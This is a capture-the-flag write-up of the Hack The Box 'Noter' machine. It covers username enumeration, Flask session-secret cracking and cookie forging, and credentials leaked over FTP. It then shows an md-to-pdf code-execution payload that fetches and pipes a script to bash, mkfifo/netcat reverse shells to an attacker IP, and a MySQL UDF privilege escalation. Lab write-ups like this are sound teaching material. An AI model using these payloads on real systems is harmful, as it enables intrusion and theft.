Enumeration.
Nmap Scan.
Command
1
nmap -sC -sV -oN nmap-scan 10.10.11.160
Result
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# Nmap 7.92 scan initiated Tue Sep 6 08:54:37 2022 as: nmap -sC -sV -oN nmap-scan 10.10.11.160
Nmap scan report for noter.htb (10.10.11.160)
Host is up (0.16s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 c6:53:c6:2a:e9:28:90:50:4d:0c:8d:64:88:e0:08:4d (RSA)
| 256 5f:12:58:5f:49:7d:f3:6c:bd:9b:25:49:ba:09:cc:43 (ECDSA)
|_ 256 f1:6b:00:16:f7:88:ab:00:ce:96:af:a6:7e:b5:a8:39 (ED25519)
5000/tcp open http Werkzeug httpd 2.0.2 (Python 3.8.10)
|_http-server-header: Werkzeug/2.0.2 Python/3.8.10
| http-methods:
|_ Supported Methods: OPTIONS HEAD GET
|_http-title: Noter
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Sep 6 08:55:12 2022 -- 1 IP address (1 host up) scanned in 35.55 seconds
Ports 21
22
5000
are all open.
Access the web page by using port 5000
The web offered a login form with a permission to register new account if user doesn’t have one.
Register new Account.
Login as new registered user.
After creating a new account this website redirects user to the login page. But on trying to provide some incorrect information in login form the page replies with two different error messages as show below.
The above error message appeared after providing wrong password.
This one appeared after providing the name that does not exist. Hence due to this we can brute force users because the web application provides different messages in response to present and absence users.
Brute forcing available users in the server.
Burpsuite
1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /login HTTP/1.1
Host: 10.10.11.160:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 27
Origin: http://10.10.11.160:5000
Connection: close
Referer: http://10.10.11.160:5000/login
Upgrade-Insecure-Requests: 1
username=gems&password=1234
Creating a simple word list to prove how the web react
1
2
3
4
5
6
julius
soraely
gemstone
gems
invalid
user
This word list has both valid user and invalid users and it was named as users.txt
ffuf bruteforcing
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
┌──(egovridc㉿egovridc)-[~/C7F5/htb/noter]
└─$ ffuf -u http://10.10.11.160:5000/login -d 'username=FUZZ&password=1234' -w users.txt -H 'Content-Type: application/x-www-form-urlencoded'
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.5.0 Kali Exclusive <3
________________________________________________
:: Method : POST
:: URL : http://10.10.11.160:5000/login
:: Wordlist : FUZZ: users.txt
:: Header : Content-Type: application/x-www-form-urlencoded
:: Data : username=FUZZ&password=1234
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________
invalid [Status: 200, Size: 2035, Words: 432, Lines: 69, Duration: 182ms]
soraely [Status: 200, Size: 2035, Words: 432, Lines: 69, Duration: 180ms]
julius [Status: 200, Size: 2034, Words: 432, Lines: 69, Duration: 187ms]
gemstone [Status: 200, Size: 2036, Words: 432, Lines: 69, Duration: 414ms]
gems [Status: 200, Size: 2032, Words: 432, Lines: 69, Duration: 411ms]
user [Status: 200, Size: 2032, Words: 432, Lines: 69, Duration: 193ms]
[Status: 200, Size: 2028, Words: 432, Lines: 69, Duration: 191ms]
:: Progress: [7/7] :: Job [1/1] :: 55 req/sec :: Duration: [0:00:01] :: Errors: 0 ::
This will not respond because ffuf
does not add Content-Type
header by default then lets add it.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
┌──(egovridc㉿egovridc)-[~/C7F5/htb/noter]
└─$ ffuf -u http://10.10.11.160:5000/login -d 'username=FUZZ&password=1234' -H 'Content-Type: application/x-www-form-urlencoded' -w users.txt -mr 'Invalid login'
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.5.0 Kali Exclusive <3
________________________________________________
:: Method : POST
:: URL : http://10.10.11.160:5000/login
:: Wordlist : FUZZ: users.txt
:: Header : Content-Type: application/x-www-form-urlencoded
:: Data : username=FUZZ&password=1234
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Regexp: Invalid login
________________________________________________
gems [Status: 200, Size: 2026, Words: 432, Lines: 69, Duration: 757ms]
:: Progress: [8/8] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::
The above command was used to brute force username and match the regular expression where by when username is valid but password is invalid it will say Invalid login
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
┌──(egovridc㉿egovridc)-[~/C7F5/htb/noter]
└─$ ffuf -u http://10.10.11.160:5000/login -d 'username=FUZZ&password=1234' -H 'Content-Type: application/x-www-form-urlencoded' -w /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -mr 'Invalid login'
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.5.0 Kali Exclusive <3
________________________________________________
:: Method : POST
:: URL : http://10.10.11.160:5000/login
:: Wordlist : FUZZ: /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
:: Header : Content-Type: application/x-www-form-urlencoded
:: Data : username=FUZZ&password=1234
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Regexp: Invalid login
________________________________________________
blue [Status: 200, Size: 2026, Words: 432, Lines: 69, Duration: 451ms]
Blue [Status: 200, Size: 2026, Words: 432, Lines: 69, Duration: 1235ms]
BLUE [Status: 200, Size: 2026, Words: 432, Lines: 69, Duration: 1646ms]
[WARN] Caught keyboard interrupt (Ctrl-C)
After bruteforcing the users the final result was user present in the system is named as blue
with case insensitive.
Login as user Blue.
One thing about this system is that, it uses the cookies in validating its users and the type of cookie used is similar to flask
You can use jwt.io But this was not so promising. But we can use another command line tool named as flask-unsign
this can be found in hacktricks
Decode the cookie.
1
2
3
┌──(egovridc㉿egovridc)-[~/C7F5/htb/noter]
└─$ flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiZ2VtcyJ9.YxbpxQ.Q5UcakqxCPP3pg8bBEzdrwl0zgc'
{'logged_in': True, 'username': 'gems'}
Brute force the secrete found in cookie.
1
2
3
4
5
6
┌──(egovridc㉿egovridc)-[~/C7F5/htb/noter]
└─$ flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie 'eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiZ2VtcyJ9.YxbpxQ.Q5UcakqxCPP3pg8bBEzdrwl0zgc' --no-literal-eval 1 ⨯
[*] Session decodes to: {'logged_in': True, 'username': 'gems'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 17152 attempts
b'secret123'
Sign new cookie by using name blue
1
2
3
┌──(gemstone㉿hashghost)-[~/C7F5/htb/noter]
└─$ flask-unsign --sign --cookie "{'logged_in': True, 'username' :'blue'}" --secret secret123
eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiYmx1ZSJ9.Yxc8bw.C-YhDDgLnjr7P0CAWt91XmvyZDg
Login as user Blue.
Provide the cookies for user blue
refresh the site and then click dashboard.
Click on edit note.
Clicking on notes.
Click the premium membership.
You will find a message that shows how to access the ftp
server
Access ftp server.
username : blue
password : blue@Noter!
1
2
3
4
5
6
7
8
9
10
11
┌──(egovridc㉿egovridc)-[~/C7F5/htb/noter]
└─$ ftp 10.10.11.160
Connected to 10.10.11.160.
220 (vsFTPd 3.0.3)
Name (10.10.11.160:egovridc): blue
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
The username and password let us in where can access the policy.pdf
file and download it.
1
2
3
4
5
6
7
8
9
10
11
12
13
ftp> dir
229 Entering Extended Passive Mode (|||15543|)
150 Here comes the directory listing.
drwxr-xr-x 2 1002 1002 4096 May 02 23:05 files
-rw-r--r-- 1 1002 1002 12569 Dec 24 2021 policy.pdf
226 Directory send OK.
ftp> get policy.pdf
local: policy.pdf remote: policy.pdf
229 Entering Extended Passive Mode (|||19866|)
150 Opening BINARY mode data connection for policy.pdf (12569 bytes).
100% |*************************************************************************************************************************************************************************************************| 12569 260.58 MiB/s 00:00 ETA
226 Transfer complete.
12569 bytes received in 00:00 (159.82 MiB/s)
Checking policy.pdf metadata
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──(egovridc㉿egovridc)-[~/C7F5/htb/noter]
└─$ exiftool policy.pdf
ExifTool Version Number : 12.44
File Name : policy.pdf
Directory : .
File Size : 13 kB
File Modification Date/Time : 2021:12:24 23:59:36+03:00
File Access Date/Time : 2022:09:06 10:27:40+03:00
File Inode Change Date/Time : 2022:09:06 10:27:40+03:00
File Permissions : -rw-r--r--
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.4
Linearized : No
Title : Markdown To PDF
Creator : wkhtmltopdf 0.12.5
Producer : Qt 4.8.7
Create Date : 2021:12:24 20:59:32Z
Page Count : 1
Page Mode : UseOutlines
This file can be open as normal pdf file and after opened it shows another clue to access the ftp
server by using ftp_admin
username : ftp_admin
password : ftp_admin@Noter!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
┌──(egovridc㉿egovridc)-[~/C7F5/htb/noter]
└─$ ftp 10.10.11.160
Connected to 10.10.11.160.
220 (vsFTPd 3.0.3)
Name (10.10.11.160:egovridc): ftp_admin
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
229 Entering Extended Passive Mode (|||37886|)
150 Here comes the directory listing.
-rw-r--r-- 1 1003 1003 25559 Nov 01 2021 app_backup_1635803546.zip
-rw-r--r-- 1 1003 1003 26298 Dec 01 2021 app_backup_1638395546.zip
226 Directory send OK.
ftp> get app_backup_1635803546.zip
local: app_backup_1635803546.zip remote: app_backup_1635803546.zip
229 Entering Extended Passive Mode (|||9496|)
150 Opening BINARY mode data connection for app_backup_1635803546.zip (25559 bytes).
100% |*************************************************************************************************************************************************************************************************| 25559 13.96 KiB/s 00:00 ETA
226 Transfer complete.
25559 bytes received in 00:01 (12.79 KiB/s)
ftp> get app_backup_1638395546.zip
local: app_backup_1638395546.zip remote: app_backup_1638395546.zip
229 Entering Extended Passive Mode (|||27494|)
150 Opening BINARY mode data connection for app_backup_1638395546.zip (26298 bytes).
100% |*************************************************************************************************************************************************************************************************| 26298 78.13 KiB/s 00:00 ETA
226 Transfer complete.
26298 bytes received in 00:00 (51.95 KiB/s)
After login as ftp_amin
two backup files were found and downloaded.
Enumeration on the backup files.
Checking the difference between the two files.
1
2
┌──(egovridc㉿egovridc)-[~/C7F5/htb/noter/app]
└─$ diff -r -y 1 2 | less
There is a difference in MySQL configurations
1
2
app.config['MYSQL_USER'] = 'root' | app.config['MYSQL_USER'] = 'DB_user'
app.config['MYSQL_PASSWORD'] = 'Nildogg36' | app.config['MYSQL_PASSWORD'] = 'DB_password'
Also there is directory for attachment in the right hand side file.
1
2
3
> attachment_dir = 'misc/attachments/'
>
# init MYSQL # init MYSQL
Vulnerability.
In a new added directory, there is a javascript
code which allows the convention of markdown
files to pdf
the vulnerability rises where the first line terminates and a new variable added which contains malicious payloads.
1
2
3
4
5
6
7
8
┌──(egovridc㉿egovridc)-[~/…/noter/app/2/misc]
└─$ cat md-to-pdf.js
const { mdToPdf } = require('md-to-pdf');
(async () => {
await mdToPdf({ content: process.argv[2] }, { dest: './misc/attachments/' + process.argv[3] + '.pdf'});
})();
Exploit Original payload.
1
const { mdToPdf } = require('md-to-pdf'); var payload = '---jsn((require("child_process")).execSync("id > /tmp/RCE.txt"))\n---RCE';
Modified payload according to our needs.
1
2
3
4
5
6
---js\n((require("child_process")).execSync("curl 10.10.14.114:8000/RCE"))\n---RCE
#This works fine in the following format
---js
((require("child_process")).execSync("curl 10.10.14.114:8000/RCE"))
---RCE
The above command tries to access the server(Attackers machine) as a child process of the following.
1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(egovridc㉿egovridc)-[~/…/htb/noter/app/www]
└─$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.160 - - [06/Sep/2022 13:04:11] "GET /test.md HTTP/1.1" 200 -
10.10.11.160 - - [06/Sep/2022 13:05:26] "GET /test.md HTTP/1.1" 200 -
10.10.11.160 - - [06/Sep/2022 13:06:46] "GET /test.md HTTP/1.1" 200 -
10.10.11.160 - - [06/Sep/2022 13:07:55] "GET /test.md HTTP/1.1" 200 -
10.10.11.160 - - [06/Sep/2022 13:08:36] "GET /test.md HTTP/1.1" 200 -
10.10.11.160 - - [06/Sep/2022 13:09:18] "GET /test.md HTTP/1.1" 200 -
10.10.11.160 - - [06/Sep/2022 13:09:29] "GET /test.md HTTP/1.1" 200 -
10.10.11.160 - - [06/Sep/2022 13:09:51] "GET /test.md HTTP/1.1" 200 -
10.10.11.160 - - [06/Sep/2022 13:09:52] code 404, message File not found
10.10.11.160 - - [06/Sep/2022 13:09:52] "GET /RCE HTTP/1.1" 404 -
Simple explanation of the attacking scenario.
- Attacker will create a file known as
test.md
which have a malicious payloads. - Attacker will host the site by using python server.
- On website when user clicks the export button the
test.md
will be executed and the most important part is the file namedRCE
- Creating a file with a reverse shell payload.
RCE
1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.114 1234 >/tmp/f
test.md
1
---js\n((require("child_process")).execSync("curl 10.10.14.114:8000/RCE | bash"))\n---RCE
netcat
1
2
3
4
5
6
7
8
┌──(egovridc㉿egovridc)-[~/C7F5/htb/noter]
└─$ nc -nlvp 1234
listening on [any] 1234 ...
connect to [10.10.14.114] from (UNKNOWN) [10.10.11.160] 50186
/bin/sh: 0: can't access tty; job control turned off
$ whoami
svc
$
Privilege Escalation.
After get shell, there are few files that contains important information, one of these files contain the database credentials as shown below.
1
2
3
4
5
6
7
8
9
svc@noter:~/app/web$ cat app.py | grep pass
from passlib.hash import sha256_crypt
app.config['MYSQL_PASSWORD'] = 'DB_password'
password = PasswordField('Password', [
password = sha256_crypt.encrypt(str(form.password.data))
cur.execute("INSERT INTO users(name, email, username, password) VALUES(%s, %s, %s, %s)", (name, email, username, password))
password_candidate = request.form['password']
password = data['password']
if sha256_crypt.verify(password_candidate, password):
dbusername : DB_user
dbpassowrd : DB_password
1
2
3
svc@noter:~/app/web$ grep DB_ app.py
app.config['MYSQL_USER'] = 'DB_user'
app.config['MYSQL_PASSWORD'] = 'DB_password'
Access the database.
1
2
3
4
5
6
7
8
9
10
11
svc@noter:~/app/web$ mysql -u DB_user -p
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 36884
Server version: 10.3.32-MariaDB-0ubuntu0.20.04.1 Ubuntu 20.04
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
MariaDB [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| app |
| information_schema |
| test |
+--------------------+
3 rows in set (0.001 sec)
MariaDB [(none)]> use app;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MariaDB [app]> show tables;
+---------------+
| Tables_in_app |
+---------------+
| notes |
| users |
+---------------+
2 rows in set (0.000 sec)
MariaDB [app]> select * from users;
+-------------+----------------+----------+-------------------------------------------------------------------------------+------+
| name | email | username | password | role |
+-------------+----------------+----------+-------------------------------------------------------------------------------+------+
| Blue Wilson | blue@Noter.htb | blue | $5$rounds=535000$76NyOgtW18b3wIqL$HZqlzNHs1SdzbAb2V6EyAnqYNskA3K.8e1iDesL5vI2 | VIP |
| rezo | rezo@gmail.com | rezo | $5$rounds=535000$dZpVV9KWPTdQFbTX$9OF5eGYjVNN4qkqoWChh8/lJj2RSUpL0N29rybSKDs. | NULL |
+-------------+----------------+----------+-------------------------------------------------------------------------------+------+
Nothing interest in this database.
Run linpeas.
Linpeas shows the result that there is a user mysql
but it is running as root
1
2
3
4
╔══════════╣ All users & groups
uid=0(root) gid=0(root) groups=0(root)
uid=1001(svc) gid=1001(svc) groups=1001(svc)
uid=114(mysql) gid=119(mysql) groups=119(mysql)
1
2
3
4
╔══════════╣ MySQL version
mysql Ver 15.1 Distrib 10.3.32-MariaDB, for debian-linux-gnu (x86_64) using readline
5.2
MySQL user: root
Try to write in the temp directory.
1
2
3
MariaDB [(none)]> select 1 into OUTFILE '/tmp/1';
ERROR 1045 (28000): Access denied for user 'DB_user'@'localhost' (using password: YES)
MariaDB [(none)]>
User DB_user
has no permission.
Reading it the backup file the password for root user.
1
2
3
4
5
6
7
8
┌──(egovridc㉿egovridc)-[~/…/htb/noter/app/1]
└─$ grep -i mysql app.py
from flask_mysqldb import MySQL
# Config MySQL
app.config['MYSQL_HOST'] = 'localhost'
app.config['MYSQL_USER'] = 'root'
app.config['MYSQL_PASSWORD'] = 'Nildogg36'
app.config['MYSQL_DB'] = 'app'
Access MySQL as root user and creating a file named as 1
into temp directory.
1
2
MariaDB [(none)]> select 1 into OUTFILE '/tmp/1';
ERROR 1086 (HY000): File '/tmp/1' already exists
The activity is done and the file has been created but the owner is root
user
1
2
3
4
5
svc@noter:/tmp$ ls -la
total 904
drwxrwxrwt 17 root root 4096 Sep 6 11:00 .
drwxr-xr-x 19 root root 4096 May 2 23:05 ..
-rw-r--r-- 1 root root 2 Sep 6 09:15 1
This exploit is known and it is called raptor_udf vulnerability.
In hacker’s machine
1
2
gcc -g -c raptor_udf2.c
gcc -g -shared -W1,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
In victim machine.
1
2
3
4
5
6
7
8
9
10
11
mysql -u root -p
Enter password:
[...]
mysql> use mysql;
mysql> create table foo(line blob);
mysql> insert into foo values(load_file('/tmp/raptor_udf2.so'));
mysql> select * from foo into dumpfile '/usr/lib/raptor_udf2.so';
mysql> create function do_system returns integer soname 'raptor_udf2.so';
mysql> select * from mysql.func;
mysql> select do_system('id > /tmp/out; chown svc.svc /tmp/out');
myaql> select do_system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.114 1234 >/tmp/f');
Listen with netcat
then you will get root
shell.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(egovridc㉿egovridc)-[~/…/htb/noter/app/www2]
└─$ nc -nlvp 1234
listening on [any] 1234 ...
connect to [10.10.14.114] from (UNKNOWN) [10.10.11.160] 51034
/bin/sh: 0: can't access tty; job control turned off
# cat /root/root.txt
aa818f33d1e46c86a0f7c47e4fec6ae7
# cd /
# cd home
# ls
svc
# cd svc
# cat user.txt
4f8107910aaa90612a2828900d0f75ad
The End.
1
Mungu nisaidie